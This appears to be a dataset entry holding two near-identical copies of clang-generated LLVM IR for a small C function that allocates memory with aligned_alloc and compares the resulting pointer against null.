target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @pointerLessThanZero_aligned_alloc() #0 {
%1 = alloca ptr, align 8
%2 = call ptr @aligned_alloc(i32 noundef 8, i32 noundef 16)
store ptr %2, ptr %1, align 8
%3 = load ptr, ptr %1, align 8
%4 = icmp ult ptr %3, null
br i1 %4, label %5, label %6
5: ; preds = %0
br label %22
6: ; preds = %0
%7 = load ptr, ptr %1, align 8
%8 = call i32 @free(ptr noundef %7)
%9 = call ptr @aligned_alloc(i32 noundef 8, i32 noundef 16)
store ptr %9, ptr %1, align 8
%10 = load ptr, ptr %1, align 8
%11 = icmp eq ptr %10, null
br i1 %11, label %12, label %13
12: ; preds = %6
br label %22
13: ; preds = %6
%14 = load ptr, ptr %1, align 8
%15 = call i32 @free(ptr noundef %14)
%16 = call ptr @aligned_alloc(i32 noundef 8, i32 noundef 16)
store ptr %16, ptr %1, align 8
%17 = load ptr, ptr %1, align 8
%18 = icmp ne ptr %17, null
br i1 %18, label %19, label %22
19: ; preds = %13
%20 = load ptr, ptr %1, align 8
%21 = call i32 @free(ptr noundef %20)
br label %22
22: ; preds = %5, %12, %19, %13
ret void
}
declare ptr @aligned_alloc(i32 noundef, i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpeubwsn0v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @pointerLessThanZero_aligned_alloc() #0 {
%1 = alloca ptr, align 8
%2 = call ptr @aligned_alloc(i32 noundef 8, i32 noundef 16)
store ptr %2, ptr %1, align 8
%3 = load ptr, ptr %1, align 8
%4 = icmp ult ptr %3, null
br i1 %4, label %5, label %6
5: ; preds = %0
br label %22
6: ; preds = %0
%7 = load ptr, ptr %1, align 8
%8 = call i32 @free(ptr noundef %7)
%9 = call ptr @aligned_alloc(i32 noundef 8, i32 noundef 16)
store ptr %9, ptr %1, align 8
%10 = load ptr, ptr %1, align 8
%11 = icmp eq ptr %10, null
br i1 %11, label %12, label %13
12: ; preds = %6
br label %22
13: ; preds = %6
%14 = load ptr, ptr %1, align 8
%15 = call i32 @free(ptr noundef %14)
%16 = call ptr @aligned_alloc(i32 noundef 8, i32 noundef 16)
store ptr %16, ptr %1, align 8
%17 = load ptr, ptr %1, align 8
%18 = icmp ne ptr %17, null
br i1 %18, label %19, label %22
19: ; preds = %13
%20 = load ptr, ptr %1, align 8
%21 = call i32 @free(ptr noundef %20)
br label %22
22: ; preds = %19, %13, %12, %5
ret void
}
declare ptr @aligned_alloc(i32 noundef, i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.